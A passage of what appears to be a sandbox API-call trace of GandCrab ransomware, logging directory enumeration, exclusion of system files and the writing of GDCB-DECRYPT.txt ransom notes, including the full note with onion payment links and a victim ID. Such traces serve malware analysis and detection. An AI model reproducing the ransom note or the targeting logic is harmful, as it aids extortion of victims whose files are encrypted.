lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt" [0054.505] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.505] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0054.505] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0054.505] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0054.505] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.505] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.505] FindNextFileW (in: hFindFile=0x5b89f0, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0054.505] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0054.505] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0054.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0054.505] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0054.505] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.505] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.506] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.506] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned 99 [0054.506] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*" [0054.506] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5b8af0 [0054.507] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.507] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.507] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.507] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.507] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0054.507] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.507] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.507] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0054.507] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned 103 [0054.507] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0054.507] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.507] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.508] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\GDCB-DECRYPT.txt") returned 116 [0054.508] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0054.508] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.508] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0054.509] CloseHandle (hObject=0x508) returned 1 [0054.509] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.509] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned 99 [0054.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*" [0054.509] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5b8a30 [0054.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.509] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.509] FindNextFileW (in: hFindFile=0x5b8a30, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0054.509] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0054.509] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0054.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0054.509] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0054.509] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.509] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.510] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned 104 [0054.510] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*" [0054.510] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5b86b0 [0054.513] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.513] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox") returned 141 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="..") returned 1 [0054.514] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" [0054.514] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154 [0054.514] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.514] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.514] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2=".") returned 1 [0054.514] lstrcmpW (lpString1="TM03328932[[fn=Picture Frame]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328935[[fn=Picture Organization Chart]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328940[[fn=Radial Picture List]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328951[[fn=Tabbed Arc]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0054.515] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0054.515] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0054.515] FindNextFileW (in: hFindFile=0x5b86b0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0054.515] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2=".") returned 1 [0054.515] lstrcmpW (lpString1="TM03328972[[fn=Tab List]].glox", lpString2="..") returned 1 [0054.515] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") 